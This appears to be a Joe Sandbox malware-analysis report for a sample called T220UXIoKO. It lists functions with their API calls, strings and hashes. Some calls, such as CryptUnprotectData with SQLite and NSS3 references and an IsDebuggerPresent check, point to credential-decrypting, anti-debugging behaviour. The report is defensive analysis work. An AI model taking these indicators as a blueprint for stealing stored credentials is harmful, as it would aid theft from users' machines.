Opcode Fuzzy Hash: 4889ebc0bba130c914ec364ffde80ad1b7b49e3e011fc863d850486b97cd708b
Instruction Fuzzy Hash: 6891DFB060C7408FC724DF24C58969FB7E1EF8A358F14892DE59A8BB50EB30D949CB56

Function 6C77EFB0 Relevance: 12.1, Strings: 9, Instructions: 815COMMON

Download Yara Rule

Strings

there is already an index named %s, xrefs: 6C77F9D7
temporary table name must be unqualified, xrefs: 6C77F734
%s %T already exists, xrefs: 6C77FAC8
table, xrefs: 6C77F05C, 6C77FABC, 6C77FAC7
authorizer malfunction, xrefs: 6C77F95C, 6C77F9BF, 6C77FA5E, 6C77FA8B
view, xrefs: 6C77F061, 6C77F071, 6C77FAB7
sqlite_master, xrefs: 6C77F0AB, 6C77F2DA, 6C77F757, 6C77F93E
sqlite_temp_master, xrefs: 6C77F0A6, 6C77F2D5
not authorized, xrefs: 6C77F957, 6C77F9BA

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: %s %T already exists$authorizer malfunction$not authorized$sqlite_master$sqlite_temp_master$table$temporary table name must be unqualified$there is already an index named %s$view
API String ID: 3168844106-1126224928
Opcode ID: 65f2068dd977204a715ce000fd02170474552a6e5e965e1a4a0e55c63548f157
Instruction ID: f641040b31673496a86c89d37989a9f6144d6ca9224900c0bdc3648c267be4d5
Opcode Fuzzy Hash: 65f2068dd977204a715ce000fd02170474552a6e5e965e1a4a0e55c63548f157
Instruction Fuzzy Hash: 0872C170E042098FDF24CF69C684BA9BBF1BF49308F1581ADC9149BB52D775E846CBA0

Function 00416920 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(0042110C,?,?,00416B11,00000000,?,00918580,?,0042110C,?,00000000,?), ref: 0041696C
sscanf.NTDLL ref: 00416999
SystemTimeToFileTime.KERNEL32(0042110C,00000000,?,?,?,?,?,?,?,?,?,?,?,00918580,?,0042110C), ref: 004169B2
SystemTimeToFileTime.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?,?,00918580,?,0042110C), ref: 004169C0
ExitProcess.KERNEL32 ref: 004169DA

Strings

B, xrefs: 004169C9

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID: B
API String ID: 2533653975-2248957098
Opcode ID: 985d0f7d058ad0055831b2a8c0dcfb999921c7243e7ebcfc815c5d09d464317a
Instruction ID: bc3f4e88d18d0d52d27c53656958a280d832632e1993de176dacc6bdaed8f038
Opcode Fuzzy Hash: 985d0f7d058ad0055831b2a8c0dcfb999921c7243e7ebcfc815c5d09d464317a
Instruction Fuzzy Hash: A421BAB5D14208AFDF04EFE4D9459EEB7B6FF48300F04852EE506A3250EB349645CB69

Function 6C73545C Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C738A4B

Strings

~qll, xrefs: 6C735740, 6C739269, 6C73921F, 6C739459, 6C7356C7, 6C735703, 6C73948F

Memory Dump Source

Source File: 00000000.00000002.2955640771.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000000.00000002.2955623266.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2955692333.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2955720687.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2955749492.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6c0000_T220UXIoKO.jbxd

Similarity

API ID: memset
String ID: ~qll
API String ID: 2221118986-1926955788
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: 62010fc6c7730ef0bb71e20bd2f7f021b3d42157a4d645cff980f538e29eaa6c
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: 36B1E772A0022ACFDB14CF68CD90799B7B2EF95314F1812AAC55DDB786D730A985CB90

Function 6C73542B Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C7388F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C73925C

Strings

~qll, xrefs: 6C735740, 6C739269, 6C73921F, 6C739459, 6C7356C7, 6C735703, 6C73948F

Memory Dump Source

Source File: 00000000.00000002.2955640771.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000000.00000002.2955623266.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2955692333.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2955720687.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2955749492.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6c0000_T220UXIoKO.jbxd

Similarity

API ID: memset
String ID: ~qll
API String ID: 2221118986-1926955788
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: a42d0c70b9a4106fd3ce48efb1e181d71559f34bb370c0a535afa5d71f240ced
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: ECB1D672E0112ACFCB14CE58CD806EDB7B2AF94314F14427AC959DB786D730A989CB90

Function 00409AC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N@,00000000,00000000), ref: 00409AEF
LocalAlloc.KERNEL32(00000040,?,?,?,00404EEE,00000000,?), ref: 00409B01
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N@,00000000,00000000), ref: 00409B2A
LocalFree.KERNEL32(?,?,?,?,00404EEE,00000000,?), ref: 00409B3F

Strings

N@, xrefs: 00409AD4, 00409AE1, 00409AF9, 00409B18, 00409AE4, 00409B1B

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID: N@
API String ID: 4291131564-4229412743
Opcode ID: ac1203beb7ec4e86d603382bfe2e0b1b189ebd62ea0cb8a2a83c29bdd00d5e6f
Instruction ID: b446a55777cc1d1e4698a5b325ac1ac72e8f4b69ff9cac50ab15cfe2fa8c9284
Opcode Fuzzy Hash: ac1203beb7ec4e86d603382bfe2e0b1b189ebd62ea0cb8a2a83c29bdd00d5e6f
Instruction Fuzzy Hash: 4811A4B4240208BFEB10CFA4DC95FAA77B5FB89714F208059FA159B3D0C776A901CB54

Function 0041B33A Relevance: 7.6, APIs: 5, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 0041BBA2
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0041BBB7
UnhandledExceptionFilter.KERNEL32(0041F2A8), ref: 0041BBC2
GetCurrentProcess.KERNEL32(C0000409), ref: 0041BBDE
TerminateProcess.KERNEL32(00000000), ref: 0041BBE5

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 1cd9910441f070b69687b64f652d04a4c8002016f1137d447a2cc91201b04508
Instruction ID: 2759986af63cf1bc905e0f8428f5e2b998159022a12c47e0d709fe691c65c3be
Opcode Fuzzy Hash: 1cd9910441f070b69687b64f652d04a4c8002016f1137d447a2cc91201b04508
Instruction Fuzzy Hash: E921A3BC9002059FDB10DF69FD89A963BE4FB0A314F50403AE90A87264DBB45981EF4D

Function 00407240 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400,?,?,?,?,?,00407C90,80000001,004161C4,?,?,?,?,?,00407C90), ref: 0040724D
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,00407C90,80000001,004161C4,?,?,?,?,?,00407C90,?), ref: 00407254
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 00407281
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000,?,?,?,?,?,00407C90,80000001,004161C4), ref: 004072A4
LocalFree.KERNEL32(?,?,?,?,?,?,00407C90,80000001,004161C4,?,?,?,?,?,00407C90,?), ref: 004072AE

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: Heap$AllocByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 3657800372-0
Opcode ID: 0aad0ca02a207947d5fd575ebfc9b9b208dd2f880e8fc230de4336e6f6e6e563
Instruction ID: ec186dc502c88c98e3638293fff085d95328f9e4ca1f8ca95b137b7d6c986ae9
Opcode Fuzzy Hash: 0aad0ca02a207947d5fd575ebfc9b9b208dd2f880e8fc230de4336e6f6e6e563
Instruction Fuzzy Hash: 900100B5A80208BBEB10DFD4DD45F9E77B9EB44704F104159FB05BA2C0D674AA018B66

Function 6C8FCDC0 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 423stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C8FD086
PR_Malloc.NSS3(00000001), ref: 6C8FD0B9
PR_Free.NSS3(?), ref: 6C8FD138

Strings

>, xrefs: 6C8FCF5B

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: FreeMallocstrlen
String ID: >
API String ID: 1782319670-325317158
Opcode ID: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction ID: 5877ac6d91ec99506b0026319a7ca0910b9a5e0bf56a702de17b4ba81e329bdf
Opcode Fuzzy Hash: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction Fuzzy Hash: 93D17022B4154A4BFB345C7C8EA13D9B79387833F4F584B2AD6318BBD6E6198983C351

Function 6C89AD50 Relevance: 6.4, APIs: 4, Instructions: 389COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e8f1a8db2137520078d5ed318621382c6d5cc3cd814c9b5717d46445d36012f
Instruction ID: 99300f89528f301f3a5f9fa3857c36867eca8cd892c2b8247a335ec027336bbe
Opcode Fuzzy Hash: 0e8f1a8db2137520078d5ed318621382c6d5cc3cd814c9b5717d46445d36012f
Instruction Fuzzy Hash: 20F1DC71F09256CBDB24CF6CDA403BA77F0AB8A308F258629D909D7B50E7749955CBC0

Function 00418EA0 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,00405184,40000001,00000000,00000000,?,00405184), ref: 00418EC0

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: 50c587c7d4ac64b069940d35739af35c573ca283b52ef79ebdc7068d03a1f7db
Instruction ID: 3c4cb89ba01459054e3b3595e947631781f59a96386c3a2a773972b879479806
Opcode Fuzzy Hash: 50c587c7d4ac64b069940d35739af35c573ca283b52ef79ebdc7068d03a1f7db
Instruction Fuzzy Hash: 62111C74200204BFDB00CFA4D884FA733AAAF89304F109549F9198B250DB39EC82DB65

Function 6C776F10 Relevance: 5.2, Strings: 4, Instructions: 218COMMON

Download Yara Rule

Strings

sz=[0-9]*, xrefs: 6C777049
*?[, xrefs: 6C777034, 6C777052, 6C777070
noskipscan*, xrefs: 6C777067
unordered*, xrefs: 6C77702B

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID:
String ID: *?[$noskipscan*$sz=[0-9]*$unordered*
API String ID: 0-3485574213
Opcode ID: e18b7fbff8bc47be3097014ba60ad9013fa7ccff64f576a92d69025756e160ad
Instruction ID: 8932f4024ca98c4b638b5635cc864e2f2fa39841c5d0a3736fef482c2a2afb89
Opcode Fuzzy Hash: e18b7fbff8bc47be3097014ba60ad9013fa7ccff64f576a92d69025756e160ad
Instruction Fuzzy Hash: B5718C32F1021D4BEF318A6DC9803AA73A2DF85354F254239CD69ABBC6D6718D46C7E1

Function 6C706CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6C706D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C706E1E

Memory Dump Source

Source File: 00000000.00000002.2955640771.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000000.00000002.2955623266.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2955692333.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2955720687.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2955749492.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6c0000_T220UXIoKO.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: 1979ec66cfe160accbdde63a02ffd932cbe5e54f022fe7ff3f7964d86682c2b0
Instruction ID: d3a4cc7ed216de075eafca9128de6c56c0ff7338ce4b1601a056e48cc431603e
Opcode Fuzzy Hash: 1979ec66cfe160accbdde63a02ffd932cbe5e54f022fe7ff3f7964d86682c2b0
Instruction Fuzzy Hash: 9FA181B46183818FC715CF24C5947AEFBE6BF89308F44492DE88A87751DB70B949CB92

Function 00413720 Relevance: 4.6, APIs: 3, Instructions: 100comCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(0041E118,00000000,00000001,0041E108,00000000), ref: 00413758
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 004137B0

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID:
API String ID: 123533781-0
Opcode ID: 634e478c758f94cb0cd26d84ba9f3abb63f0756ecf75599706a634363863d21a
Instruction ID: 95f6a265596bdc049295610fa53daf8ef9ce5e7415083cbf30a8e52d2e28a0c3
Opcode Fuzzy Hash: 634e478c758f94cb0cd26d84ba9f3abb63f0756ecf75599706a634363863d21a
Instruction Fuzzy Hash: A941F474A40A28AFDB24DF58CC94BDAB7B5BB48306F4041D9A608A72D0E771AEC5CF50

Function 6C80EE70 Relevance: 3.2, APIs: 2, Instructions: 223COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C80F019
PK11_GenerateRandom.NSS3(?,00000000), ref: 6C80F0F9

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
